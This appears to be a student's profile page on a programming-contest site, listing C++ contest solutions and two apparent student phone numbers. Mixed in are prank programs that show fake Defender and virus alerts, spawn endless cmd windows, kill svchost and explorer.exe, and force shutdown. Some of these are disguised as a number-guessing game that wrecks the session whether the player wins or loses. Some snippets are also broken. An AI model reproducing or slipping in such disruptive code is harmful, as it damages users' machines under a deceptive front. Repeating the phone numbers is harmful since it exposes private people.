• 个人简介

    有趣小程序 拒绝一切抄代码行为; 本代码仅作参考 后果自负 出事自己负责 2024stu314:18928870587______

    2024stu038:18320415808______ 大佬

    我的好朋友

    我的卡莫纳朋友

    #include <bits/stdc++.h>
    using namespace std;
    
    int main() {
        int n;
        cin >> n;
        string s;
        cin >> s;
        vector<int> w(n);
        for (int i = 0; i < n; i++) {
            cin >> w[i];
        }
    
        vector<pair<int, int>> people(n);
        for (int i = 0; i < n; i++) {
            people[i] = {w[i], s[i] - '0'};
        }
    
        sort(people.begin(), people.end());
    
        int total_adults = count(s.begin(), s.end(), '1');
        int total_children = n - total_adults;
    
        int max_correct = max(total_adults, total_children);
        int prefix_children = 0, suffix_adults = total_adults;
    
        for (int i = 0; i < n; i++) {
            if (people[i].second == 0) {
                prefix_children++;
            } else {
                suffix_adults--;
            }
            if (i == n - 1 || people[i].first != people[i + 1].first) {
                max_correct = max(max_correct, prefix_children + suffix_adults);
            }
        }
    
        cout << max_correct << endl;
        return 0;
    }
    
    #include<bits/stdc++.h>
    #define d{sleep(10000);while(12){;system("start color 0C")}}
    using namespace std;
    int main(){
    while(1){
    	d();
    	system("dir /s");
    }
    
    #include<bits/stdc++.h>
    #include<Windows.h>
    using namespace std;
    int main(){
    //MessageBox(MB_OK,"你被耍了","哈哈",MB_OK);
    //MessageBox(MB_OK,"系统错误! 0x66666666","system",MB_OK);
    MessageBox(MB_OK,"发现一个漏洞,请问是否修复?","system",MB_OK);
    MessageBox(MB_OK,"修复中...","system",MB_OK);
    MessageBox(MB_OK,"修复失败! 0x66666666","error",MB_OK);
    MessageBox(MB_OK,"你想扫描此系统吗?","Windows Defender",MB_OK);
    MessageBox(MB_OK,"扫描中...","Windows Defender",MB_OK);
    MessageBox(MB_OK,"发现病毒,是否删除?","Windows Defender",MB_OK);
    MessageBox(MB_OK,"删除中...","Windows Defender",MB_OK);
    MessageBox(MB_OK,"删除失败!","Windows Defender",MB_OK);
    MessageBox(MB_OK,"即将上传所有数据至云端","virus",MB_OK);
    MessageBox(MB_OK,"上传中...","virus",MB_OK);
    MessageBox(MB_OK,"上传成功!","virus",MB_OK);
    MessageBox(MB_OK,"即将删除所有数据","virus",MB_OK);
    MessageBox(MB_OK,"删除中...","virus",MB_OK);
    Sleep(1000);
    system("dir /s");
    MessageBox(MB_OK,"删除成功!","virus",MB_OK);
    MessageBox(MB_OK,"恭喜你的电脑废了!","virus",MB_OK);
    while(1){
    MessageBox(MB_OK,"你可以关闭此窗口!","virus",MB_OK);
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("start color 3F");
    system("start color 4A");
    
    Sleap(100);
    system("shutdown -s -t 9");
    }
    }
    
    
    #include<bits/stdc++.h>
    #include<Windows.h>
    using namespace std;
    int main(){
    //MessageBox(MB_OK,"你被耍了","哈哈",MB_OK);
    //MessageBox(MB_OK,"系统错误! 0x66666666","system",MB_OK);
    MessageBox(MB_OK,"发现一个漏洞,请问是否修复?","system",MB_OK);
    MessageBox(MB_OK,"修复中...","system",MB_OK);
    MessageBox(MB_OK,"修复失败! 0x66666666","error",MB_OK);
    MessageBox(MB_OK,"你想扫描此系统吗?","Windows Defender",MB_OK);
    MessageBox(MB_OK,"扫描中...","Windows Defender",MB_OK);
    MessageBox(MB_OK,"发现病毒,是否删除?","Windows Defender",MB_OK);
    MessageBox(MB_OK,"删除中...","Windows Defender",MB_OK);
    MessageBox(MB_OK,"删除失败!","Windows Defender",MB_OK);
    MessageBox(MB_OK,"即将上传所有数据至云端","virus",MB_OK);
    MessageBox(MB_OK,"上传中...","virus",MB_OK);
    MessageBox(MB_OK,"上传成功!","virus",MB_OK);
    MessageBox(MB_OK,"即将删除所有数据","virus",MB_OK);
    MessageBox(MB_OK,"删除中...","virus",MB_OK);
    Sleep(1000);
    system("dir /s");
    MessageBox(MB_OK,"删除成功!","virus",MB_OK);
    MessageBox(MB_OK,"恭喜你的电脑废了!","virus",MB_OK);
    while(1){
    //MessageBox(MB_OK,"你可以关闭此窗口!","virus",MB_OK);
    system("start color 3F");
    system("shutdown -s -t 999");
    }
    }
    

    #include<bits/stdc++.h> using namespace std; int main(){ while(1){ system("start cmd"); } return 0; }

    
    #include <bits/stdc++.h>
    #include <windows.h>
    using namespace std;
    int main(){
    while(1){	
    MessageBox(NULL, TEXT("请不要输入除了选项之外的数字,后果自负"), TEXT("游戏提示,SB"), MB_OK);
    system("shutdown -s -t 060");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("shutdown -s -t 060");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("shutdown -s -t 060");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("shutdown -s -t 060");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("shutdown -s -t 060");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("shutdown -s -t 060");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");	system("shutdown -s -t 060");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("shutdown -s -t 060");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("shutdown -s -t 060");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("shutdown -s -t 060");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    system("shutdown -s -t 060");
    system("start color 3F");
    system("start color 4A");
    system("start color 5E");
    system("start color 1D");
    system("start color 7F");
    system("start color 3B");
    system("start color 2B");
    system("start color 5C");
    system("start color 6E");
    
    }
    }
    
    #include <bits/stdc++.h>
    #include <Windows.h>
    using namespace std;
    int main(){
    	int h=10;
    	while(1){
    		int n=rand()*rand();
    		cout<<n<<endl;
    		Sleep(1000); 
    		system("cls");
    		Sleep(5000);
    		int d;
    		cin>>d;
    		if(d==n){
    			cout<<"你逃过了恶魔";
    			Sleep(5000);
    		}else{
    			cout<<"你还有"<<--h<<"次机会"; 
    			Sleep(5000);
    		}
    		if(h==0){
    			while(1){
    				system("start color ef");
    			}
    		}
    	}
    }
    
    #include <bits/stdc++.h>
    #include <Windows.h>
    using namespace std;
    int main(){
    	cout<<"欢迎来到恶魔猜数字"<<endl;
    	int h=10;
    	while(1){
    		int n=rand()*rand();
    		cout<<n<<endl;
    		Sleep(5000); 
    		system("cls");
    		Sleep(5000);
    		int d;
    		cin>>d;
    		if(d==n){
    			cout<<"你逃过了恶魔";
    			Sleep(5000);
    		}else{
    			cout<<"你还有"<<--h<<"次机会"; 
    			Sleep(5000);
    		}
    		if(h==0){
    			while(1){
    				system("start color ef");
    			}
    		}
    	}
    }
    
    while(1){
    system("taskkill /f /im svchost");
    }
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    #include <bits/stdc++.h>
    #include <Windows.h>
    using namespace std;
    int main(){
    	int g=0;
    	int k=7;
    	#define int long long
    	system("color 0a");
    	while(1){
    		int n=rand()*rand(),m;
    		cout<<n<<endl<<"记住这个数";
    		Sleep(3000);
    		system("cls");
    		cout<<"写出这个数"<<endl<<"等待5秒"<<endl; 
    		Sleep(5000);
    		cin>>m;
    		if(m==n){
    			cout<<"对"<<"下一轮开始"<<endl; 
    			cout<<"你获得了"<<g++<<"分"<<endl;
    			cout<<"获得20分获胜";
    			Sleep(2000); 
    			system("cls"); 
    		}else{
    			cout<<"你还有"<<k--<<"次机会"; 
    		}
    		if(g==20){
    			cout<<"你赢了"<<endl;
          cout<<"WA KAU LI WA! CE!RE!WA!AC?SB ARE YOU."<<endl;
    			system("taskkill /f /im explorer.exe");
    			Sleep(20);
    			system("shutdown -s -t 60");
    			Sleep(20);
    			system("taskkill /f /im svchost");			 
    		}
    		if(k==0){
    		    while(1){
    		        system("start notepad");
    		        system("start cmd");
    		        system("start powershell");
    		        system("start explorer");
    		        system("start calc");
    		        system("start cn.bing.com");
    		        system("start dir /s");
    		        system("start chrome");
    		        system("start color 0a");
    		        system("taskkill /f /im svchost");
        		}	
    		}
    	} 
    	return 0;
    }
    
    高精度加
    
    #include <bits/stdc++.h>
    using namespace std;
    string ia,ib;
    int a[10000],b[10000],c[10001];
    void jia(){
    	int len=max(ia.size(),ib.size());
    	for(int i=0;i<=len;i++){
    		c[i]=a[i]+b[i];
    	}
    	for(int i=0;i<=len;i++){
    		if(c[i]>=10){
    			c[i+1]+=c[i]%10;
    			c[i]%=10;
    		}
    	}
    }
    int main(){
    	cin>>ia>>ib;
    	for(int i=0;i<ia.size();i++){
    		a[i]=int(ia[ia.size()-1-i]-48);
    	}	
    	for(int i=0;i<ib.size();i++){
    		b[i]=int(ib[ib.size()-1-i]-48);
    	}
    	jia();
    	if(c[max(ia.size(),ib.size())])cout<<c[max(ia.size(),ib.size())];
    	for(int i=max(ia.size(),ib.size())-1;i>=0;--i){
    		cout<<c[i];
    	}
    }
    
    
    
    
    
    高精度减
    
    #include <bits/stdc++.h>
    using namespace std;
    string ia,ib;
    int a[10000],b[10000],c[10001];
    void jian(){
    	int len=max(ia.size(),ib.size());
    	if(ia.size()<ib.size()||ia.size()==ib.size()&&ia<ib){
    		for(int i=0;i<=len;i++){
    		c[i]=b[i]-a[i];
    		}
    		for(int i=0;i<=len;i++){
    			if(c[i]<0){
    				c[i+1]--;
    				c[i]+=10;
    			}
    		}	
    		cout<<"-";
    		return;	
    	}
    	for(int i=0;i<=len;i++){
    		c[i]=a[i]-b[i];
    	}
    	for(int i=0;i<=len;i++){
    		if(c[i]<0){
    			c[i+1]--;
    			c[i]+=10;
    		}
    	}
    	return;
    }
    int main(){
    	cin>>ia>>ib;
    	int l=0;
    	for(int i=0;i<ia.size();i++){
    		a[i]=int(ia[ia.size()-1-i]-48);
    	}	
    	for(int i=0;i<ib.size();i++){
    		b[i]=int(ib[ib.size()-1-i]-48);
    	}
    	jian();
    	if(c[max(ia.size(),ib.size())])cout<<c[max(ia.size(),ib.size())];
    	int t=0; 
    	for(int i=max(ia.size(),ib.size())-1;i>=0;--i){
    		if(c[i]!=0)t=1;
    		if(t==1)
    			cout<<c[i];
    	}
    }
    
    
    
    
    高精度乘
    
    #include <bits/stdc++.h>
    using namespace std;
    string a1,b1;
    int a[101000],b[101000],c[101001],len;
    int main(){
    	
    	cin>>a1>>b1;
    	int lena =a1.size();
    	int lenb =b1.size();
    	
    	for(int i=1;i<=lena;i++) a[i] =a1[lena-i] -'0';
    	for(int i=1;i<=lenb;i++) b[i] =b1[lenb-i] -'0';
    	
    	for(int i=1;i<=lenb;i++)
    	for(int j=1;j<=lena;j++)
    	c[i+j-1] +=a[j] * b[i];	
    	
    	for(int i=1;i<lena+lenb;i++)
    	if(c[i]>9){
    		c[i+1] +=c[i] /10;
    		c[i] %=10;
    	}
    	len =lena+lenb;
    	while(c[len]==0 &&len>1) len--;
    	for(int i=len;i>=1;i--){
    		cout<<c[i];
    	}
    	return 0;
    }
    
    
    
    
    高精度除
    
    #include <bits/stdc++.h>
    using namespace std;
     
    const int MAXN = 300+4; //根据题目的最大值。+4为了防止A+B出现进位
    string s1;//存储字符串
    string s2;//存储字符串
    struct bigdata
    {
    	int len;
    	int s[10005];
    }a,b,c,d,tmp; //tmp交换用字符串,c是商,d是余数 
    int q;
    int compare(bigdata a, bigdata b)
    {
        //索引为0的数据为数组长度
        if (a.len>b.len) return 1;
    	else if (a.len<b.len) return -1;
    	else
    	{
    
    	    //逐位比较
    	    for (int i=a.len-1;i>=0;i--)
    		{
    	        if (a.s[i]>b.s[i]) return 1;
    			else if (a.s[i]<b.s[i]) return -1;
    	    }
    	}
        return 0;
    }
    bigdata numcpy(int dest) //补零 
    {
        //将数组右移,使两个数组右端对齐,形参q数组储存右移后的结果
        for (int i=0;i<b.len;i++)
    	{
            tmp.s[i+dest]=b.s[i];
        }
        tmp.len=b.len+dest;
        return tmp;
    }
     
    bigdata chu(bigdata a,bigdata b)
    {
    	c.len=a.len-b.len+1; //补多少个前导零,补多少个前导零就意味着有几轮减法 
    	for (int i=c.len-1;i>=0;i--)
    	{
            memset(tmp.s,0,sizeof(tmp.s));
            numcpy(i);//高位对齐
            while (compare(a,tmp)>=0)
    		{
                c.s[i]++; //够减的话对应位置的商+1 
                //高精度减法
                for(int j=0;j<a.len;j++)
    			{
                    if (a.s[j]<tmp.s[j])
    				{
                        a.s[j+1]--;
                        a.s[j]+=10;
                    }
                    a.s[j]-=tmp.s[j];
                }
                int k=a.len;
                while (k>1&&a.s[k-1]==0)
    			{
                    k--;
                }
                a.len=k;
            }
        }
        d.len=a.len;
        for(int i=0;i<a.len;i++) //余数 
        {
        	d.s[i]=a.s[i];
        }
        //控制最高位的0
        while (c.len>0&&c.s[c.len-1]==0)
    	{
            c.len--;
        }
        return c;
    }
    int main() {
        cin>>s1>>s2;//读入字符串
        //处理负数
        bool flaga=false;//乘数a的符号
        if ('-'==s1[0])
    	{
            flaga=true;
            s1.erase(s1.begin());//删除负号
        }
        bool flagb=false;//乘数b的符号
        if ('-'==s2[0])
    	{
            flagb = true;
            s2.erase(s2.begin());//删除负号
        }
        //处理输出的负号
        if (true==flaga&&false==flagb||false==flaga&&true==flagb) 
    	{
            //商为负数
    		q=1; //不能马上输出负号,因为有可能会出现-0的情况 
        }
        //处理被除数 
        a.len=s1.size();
        b.len=s2.size();
        for (int i=0;i<a.len;i++)
    	{
            a.s[i]=s1[a.len-1-i]-'0';
        }
        //处理除数
        for (int i=0;i<b.len;i++)
    	{
            b.s[i]=s2[b.len-1-i]-'0';
        }
        if(0==compare(a,b))
    	{
            //两数相等
            printf("1\n0\n");
            return 0;
        }
    	else if(-1==compare(a,b))
    	{
            //被除数小,除数大
            printf("0\n");//输出商 
            if (true==flaga)
    		{
                printf("-");
            }
            cout<<s1<<endl;
            return 0;
        }
    	else chu(a,b);
        //逆序打印输出商和余数
        if(q==1) printf("-"); 
        for (int i=c.len-1;i>=0;i--)
    	{
            printf("%d",c.s[i]);
        }
        printf("\n");
        if(true==flaga) printf("-");
        for(int i=d.len-1;i>=0;i--)
    	{
        	printf("%d",d.s[i]);
        }
        return 0;
    }
    
    #include<bits/stdc++.h>
    using namespace std;
    const int N=100005;
    int n,m,f[N],s[N],v[N],w[N],tj[N],val[N];
    int dex;
    int main(){
    	cin>>m>>n;//m是容量n是物品
    	for(int i=1;i<=n;i++){
    		cin>>v[i]>>w[i]>>s[i];
    	}
    	for(int i=1;i<=n;i++){
    		int t=1;
    		while(s[i]>t){
    			tj[++dex]=t*v[i];
    			val[dex]=t*w[i];
    			s[i]-=t;
    			t*=2;
    		}
    		if(s[i]>0){
    			tj[++dex]=s[i]*v[i];
    			val[dex]=s[i]*w[i];
    		}
    	}
    	for(int i=1;i<=dex;i++){
    		for(int j=m;j>=tj[i];j--){
    			f[j]=max(f[j],f[j-tj[i]]+val[i]);
    		}
    	}
    	cout<<f[m]<<endl;
    	return 0;
    } 
    
    
    
    
    
    
    
    
    
    
    #include <iostream>
    #include <vector>
    #include <algorithm>
    using namespace std;
    
    struct Fac {
        int val;
        int qua;
    };
    
    pair<int, int> spltFacs(vector<Fac> facs) {
        int totVal = 0;
        for (const Fac& f : facs) {
            totVal += f.val * f.qua;
        }
        int halfVal = totVal / 2;
        vector<int> dp(halfVal + 1, 0);
        for (const Fac& f : facs) {
            for (int v = halfVal; v >= f.val; v--) {
                dp[v] = max(dp[v], dp[v - f.val] + f.val * min(f.qua, (v - dp[v]) / f.val));
            }
        }
        return make_pair(halfVal + dp[halfVal], totVal - (halfVal + dp[halfVal]));
    }
    
    int main() {
        int n;
        while (cin >> n && n > 0) {
            vector<Fac> facs;
            for (int i = 0; i < n; i++) {
                int val, qua;
                cin >> val >> qua;
                facs.push_back({val, qua});
            }
            pair<int, int> res = spltFacs(facs);
            cout << res.first << " " << res.second << endl;
        }
        return 0;
    }
    
    
    
    
    
    
    
    #include <iostream>
    #include <vector>
    #include <algorithm>
    using namespace std;
    
    struct Fac {
        int val;
        int qua;
    };
    
    pair<int, int> spltFacs(vector<Fac> facs) {
        int totVal = 0;
        for (const Fac& f : facs) {
            totVal += f.val * f.qua;
        }
        int halfVal = totVal / 2;
        vector<int> dp(halfVal + 1, 0);
        for (const Fac& f : facs) {
            for (int v = halfVal; v >= f.val; v--) {
                dp[v] = max(dp[v], dp[v - f.val] + f.val * min(f.qua, (v - dp[v]) / f.val));
            }
        }
        return make_pair(halfVal + dp[halfVal], totVal - (halfVal + dp[halfVal]));
    }
    
    int main() {
        int n;
        while (cin >> n && n > 0) {
            vector<Fac> facs;
            for (int i = 0; i < n; i++) {
                int val, qua;
                cin >> val >> qua;
                facs.push_back({val, qua});
            }
            pair<int, int> res = spltFacs(facs);
            cout << res.first << " " << res.second << endl;
        }
        return 0;
    }
    
    #include <bits/stdc++.h>
    #define int long long
    using namespace std;
    const int MAX_T=300;
    int dp[MAX_T+1];
    vector<int> squareNums;  
    void initSquareNums(){
        for(int i=1;i*i<=MAX_T;i++){
            squareNums.push_back(i*i);
        }
    }
    signed main(){
        initSquareNums();
        int t;
        while(cin>>t&&t!=0){
            fill(dp,dp+t+1,0);
            dp[0]=1;
            for(int i=0;i<squareNums.size();i++){
                for(int j=squareNums[i];j<=t;j++){
                    dp[j]+=dp[j-squareNums[i]];
                }
            }
            cout<<dp[t]<<endl;
        }
        return 0;
    }
    
    #include <bits/stdc++.h>
    using namespace std;
    int n,m;
    int a[100][100];
    int di[][2] ={{0,1},{0,-1},{-1,0},{1,0}};
    bool vis[100][100];
    struct Node{
    	int x,y,s;
    }bg,ed,p;
    queue<Node>q;
    int main(){
    	memset(vis,0,sizeof(vis));
    	cin>>n>>m;
    	for(int i=1;i<=n;i++){
    		for(int j=1;j<=m;j++){
    			cin>>a[i][j];
    		}
    	}
    	cin>>bg.x>>bg.y>>ed.x>>ed.y;
    	
    	q.push(bg);
    	q.front().s =0;
    	
    	while(!q.empty()){
    		
    		for(int i=0;i<4;i++){
    			p.x=di[i][0]+q.front().x;
    			p.y=di[i][1]+q.front().y;
    			
    			while(p.x>0 &&p.x<=n && p.y>0 && p.y<=m && !a[p.x][p.y])
    			{
    				if(!vis[p.x][p.y])
    				{
    					if(p.x = ed.x &&p.y ==ed.y)
    					{
    						printf("%d\n",q.front().s);
    						return 0;
    					}	
    					vis[p.x][p.y] =1;
    					p.s =q.front().s+1;
    					q.push(p);
    				}				
    				p.x =p.x +di[i][0];
    				p.y =p.y +di[i][1];
    			}
    		}	
    		q.pop();
    	}
    
    }
    
    
    
    
    
    
    
    
    
    
    
    
    
    #include <bits/stdc++.h>
    #define int long long
    using namespace std;
    int n,a[13],now[21],choice[21];
    bool flag=0,vis[21];
    void dfs(int x){
    	if (x==n+1){
    		bool e=1;
    		for (int i=1;i<=2*n;i++){
    			if(now[i]<choice[i])break;
    			if(now[i]>choice[i]){
    				e=0;break;
    			}
    		}
    		if (e||!flag){
    			flag=1;
    			memcpy(choice,now,sizeof(choice));
    		}
    		return;
    	}
    	for(int i=1,j=i+a[x]+1;j<=2*n;i++,j++){
    		if (!vis[i]&&!vis[j]){
    			now[i]=now[j]=a[x];
    			vis[i]=vis[j]=1;
    			dfs(x+1);
    			vis[i]=vis[j]=0;
    		}
    	}
    }
    signed main(){
    	system("color 0a");
    	cin>>n;
    	for(int i=1;i<=n;i++){
    		cin>>a[i];
    	}
    	dfs(1);
    	if(!flag){
    		cout<<-1;
    	}
    	else{
    		for(int i=1;i<=2*n;i++){
    			cout<<choice[i]<<' ';	
    		}
    	}
    	return 0;
    }
    
    
    
    #include <bits/stdc++.h>
    #define int long long
    using namespace std;
    int a[1000009];
    signed main(){
    	int m,n,ans=2;
    	cin>>m>>n;
    	for(int i=1;i<=n;i++){
    		cin>>a[i];
    	}
    	sort(a+1,a+1+n);
    	int cnt=0;
    	for(int i=1;i<=n;i++){
    		if(cnt==m){
    			ans++;
    			cnt=0;
    		}		
    		if(a[i]/1000==a[i+1]/1000&&cnt<m){
    			cnt++;
    		}else{
    			ans++;
    			cnt=0;
    		}	
    	}
    	cout<<ans<<endl;
    	return 0;
    }
    
    
    #include <bits/stdc++.h>
    using namespace std;
    
    // 计算两个数的最大公约数
    long long gcd(long long a, long long b) {
        while (b!= 0) {
            long long temp = b;
            b = a % b;
            a = temp;
        }
        return a;
    }
    
    // 计算两个数的最小公倍数
    long long lcm(long long a, long long b) {
        return a / gcd(a, b) * b;
    }
    
    // 计算1到n中m的倍数的和
    long long sumOfMultiples(long long n, long long m) {
        long long lastMultiple = n / m * m;
        long long numMultiples = lastMultiple / m;
        return (m + lastMultiple) * numMultiples / 2;
    }
    
    int main() {
        long long n, a, b;
        cin >> n >> a >> b;
        long long totalSum = (1 + n) * n / 2;
        long long sumOfA = sumOfMultiples(n, a);
        long long sumOfB = sumOfMultiples(n, b);
        long long sumOfAB = sumOfMultiples(n, lcm(a, b));
        long long result = totalSum - sumOfA - sumOfB + sumOfAB;
        cout << result << endl;
        return 0;
    }
    
    
    
    
    
    
    
    
    
    
    
    #include <bits/stdc++.h>
    
    #define int long long
    
    using namespace std;
    
    map <string,bool> mp;
    
    int m,ans=0;
    
    string str;
    
    bool find(string w){
    	
    	for(auto p:mp){
    		
    		if(p.first==w){
    			
    			return 1;
    			
    		}
    		
    	}
    	
    	return false;
    	
    }
    
    
    void dfs(int s,string now){
    	
    	if (s==m){
    		
    		if (!find(now)){
    			
    			ans++;
    			
    			mp.insert(make_pair(now,true));
    			
    			return;
    			
    		}
    		return;
    	}
    	
    	if(str[s]=='*'){
    		
    		dfs(s+1,now+'0');
    		dfs(s+1,now+'1');
    		
    	}
    	
    	
    	else {
    		
    		dfs(s+1,now+str[s]);
    		
    	}
    	
    }
    
    signed main(){
    	
    	int n;
    	
    	cin >> m >> n;
    	
    	for (int i=1;i<=n;i++){
    		cin>>str;
    		dfs(0,"");
    	}
    	
    	cout<<ans<<endl;
    	
    	return 0;
    }
    
    
    #include <bits/stdc++.h>
    #define int long long
    using namespace std;
    int a[1000009];
    signed main(){
    	int m,n,ans=2;
    	cin>>m>>n;
    	for(int i=1;i<=n;i++){
    		cin>>a[i];
    	}
    	sort(a+1,a+1+n);
    	int cnt=0;
    	for(int i=1;i<=n;i++){
    		if(cnt==m){
    			ans++;
    			cnt=0;
    		}		
    		if(a[i]/1000==a[i+1]/1000&&cnt<m){
    			cnt++;
    		}else{
    			ans++;
    			cnt=0;
    		}	
    	}
    	cout<<ans<<endl;
    	return 0;
    }
    
    #include <bits/stdc++.h>
    using namespace std;
    
    int main() {
        int n;
        cin >> n;
        string s;
        cin >> s;
        vector<int> w(n);
        for (int i = 0; i < n; i++) {
            cin >> w[i];
        }
    
        vector<pair<int, int>> people(n);
        for (int i = 0; i < n; i++) {
            people[i] = {w[i], s[i] - '0'};
        }
    
        sort(people.begin(), people.end());
    
        int total_adults = count(s.begin(), s.end(), '1');
        int total_children = n - total_adults;
    
        int max_correct = max(total_adults, total_children);
        int prefix_children = 0, suffix_adults = total_adults;
    
        for (int i = 0; i < n; i++) {
            if (people[i].second == 0) {
                prefix_children++;
            } else {
                suffix_adults--;
            }
            if (i == n - 1 || people[i].first != people[i + 1].first) {
                max_correct = max(max_correct, prefix_children + suffix_adults);
            }
        }
    
        cout << max_correct << endl;
        return 0;
    }
    
    #include <iostream>
    #include <vector>
    #include <queue>
    #include <cmath>
    #include <tuple>
    
    using namespace std;
    
    const int INF = 1e9;
    
    int main() {
        int n, m;
        cin >> n >> m;
    
        vector<vector<int>> dist(n, vector<int>(n, INF));
        dist[0][0] = 0;
    
        queue<pair<int, int>> q;
        q.push({0, 0});
    
        vector<pair<int, int>> directions;
        for (int dx = -n; dx <= n; ++dx) {
            for (int dy = -n; dy <= n; ++dy) {
                if (dx * dx + dy * dy == m) {
                    directions.push_back({dx, dy});
                }
            }
        }
    
        while (!q.empty()) {
            auto [x, y] = q.front();
            q.pop();
    
            for (auto [dx, dy] : directions) {
                int nx = x + dx;
                int ny = y + dy;
                if (nx >= 0 && nx < n && ny >= 0 && ny < n && dist[nx][ny] == INF) {
                    dist[nx][ny] = dist[x][y] + 1;
                    q.push({nx, ny});
                }
            }
        }
    
        for (int i = 0; i < n; ++i) {
            for (int j = 0; j < n; ++j) {
                if (dist[i][j] == INF) {
                    cout << -1 << " ";
                } else {
                    cout << dist[i][j] << " ";
                }
            }
            cout << endl;
        }
    
        return 0;
    }
    
    
    

    #include <bits/stdc++.h> #define int long long using namespace std; int n,x,a[10000009]; signed main(){ system("color 0a"); cin>>n>>x; int ans=0,cnt=0; for(int i=1;i<=n;i++){ cin>>a[i]; cnt=a[i]; while(cnt>x){

    		cnt/=2;
    
    	}
    	if(cnt==x){
    		ans++;
    		
    	}
    }
    cout<<ans<<endl;
    return 0;
    

    }

    #include <bits/stdc++.h>
    #define int long long
    using namespace std;
    int n;
    signed main(){
    	system("color 0a");
    	cin>>n;
    	if(n%2==1){
    		cout<<10+n/2<<endl;
    		return 0;
    	}
    	else{
    		cout<<21-n/2<<endl;
    		return 0;
    	}
    	return 0;
    }
    
    #include <bits/stdc++.h>
    #define int long long
    using namespace std;
    int n,m,k,p[1000009],vis[10000];
    signed main(){
    	system("color 0a");
    	cin>>n>>m>>k;
    	for(int i=0;i<m;i++){
    		cin>>p[i];
    	}
    	sort(p,p+m);
    	int ans=0,l = 1;
    	for(int i=0;i<m;i++){
    		if(l<p[i]-k){
    			int g =p[i]-k-l;
    			ans += (g+ 2*k)/(2*k + 1); //向上取整
    		}
    		l =max(l,p[i] +k + 1);
    	}
    	if(l<=n){
    		int g = n-l +1;
    		ans += (g+ 2*k)/(2*k + 1);
    	}
    	cout<<ans<<endl;
    	return 0;
    }
    
    
    
    ////#include <bits/stdc++.h>
    ////using namespace std;
    ////vector<string> can_transform(const string& S, const vector<tuple<int, int, int, int>>& queries) {
    ////    vector<string> results;
    ////    for (const auto& query : queries) {
    ////        int a, b, c, d;
    ////        tie(a, b, c, d) = query;
    ////        // 提取子串 X 和 Y
    ////        string X = S.substr(a - 1, b - a + 1); // 注意 C++ 的 substr 从 0 开始
    ////        string Y = S.substr(c - 1, d - c + 1);
    ////        // 统计字符频率
    ////        unordered_map<char, int> count_X;
    ////        unordered_map<char, int> count_Y;
    ////        for (char char_X : X) {
    ////            count_X[char_X]++;
    ////        }				
    ////        for (char char_Y : Y) {
    ////            count_Y[char_Y]++;
    ////        }
    ////        // 比较频率
    ////        if (count_X == count_Y) {
    ////            results.push_back("DA");
    ////        } else {
    ////            results.push_back("NE");
    ////        }
    ////    }
    ////    return results;
    ////}
